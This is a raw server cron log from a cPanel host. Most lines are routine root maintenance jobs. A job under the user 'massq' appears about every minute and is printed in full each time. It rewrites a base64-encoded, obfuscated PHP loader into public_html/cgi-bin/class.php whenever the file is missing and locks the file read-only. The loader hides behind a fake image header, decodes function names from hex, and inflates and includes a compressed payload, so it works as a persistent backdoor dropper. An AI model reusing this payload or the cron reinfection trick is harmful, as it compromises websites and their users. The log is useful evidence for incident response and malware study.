Sep 10 17:34:01 server CROND[28506]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 17:34:01 server CROND[28508]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 17:35:01 server CROND[28886]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 17:35:01 server CROND[28888]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 17:35:01 server CROND[28889]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 17:35:01 server CROND[28900]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 10 17:35:01 server CROND[28898]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 17:35:01 server CROND[28901]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 17:35:01 server CROND[28897]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 17:35:01 server CROND[28895]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 17:35:01 server CROND[28896]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 17:36:01 server CROND[29761]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 17:36:01 server CROND[29762]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 17:36:01 server CROND[29763]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 17:37:01 server CROND[30158]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 17:37:01 server CROND[30159]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 17:37:01 server CROND[30160]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 17:38:01 server CROND[30537]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 17:38:01 server CROND[30538]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 17:38:01 server CROND[30539]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 17:39:01 server CROND[30927]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 10 17:39:01 server CROND[30929]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 17:39:01 server CROND[30930]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 17:39:01 server CROND[30928]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 17:40:01 server CROND[31306]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 17:40:01 server CROND[31307]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 17:40:01 server CROND[31311]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 17:40:01 server CROND[31312]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 17:40:01 server CROND[31315]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 17:40:01 server CROND[31314]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 17:40:01 server CROND[31317]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 17:40:01 server CROND[31316]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 17:41:01 server CROND[32120]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 17:41:01 server CROND[32121]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 17:41:01 server CROND[32122]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 17:42:01 server CROND[32594]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 17:42:01 server CROND[32595]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 17:42:01 server CROND[32596]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 17:42:01 server CROND[32597]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 17:43:01 server CROND[522]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 17:43:01 server CROND[523]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 17:43:01 server CROND[524]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 17:44:01 server CROND[921]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 17:44:01 server CROND[920]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 17:44:01 server CROND[922]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 17:45:01 server CROND[1404]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 17:45:01 server CROND[1406]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 17:45:01 server CROND[1410]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 17:45:01 server CROND[1407]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 17:45:01 server CROND[1411]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
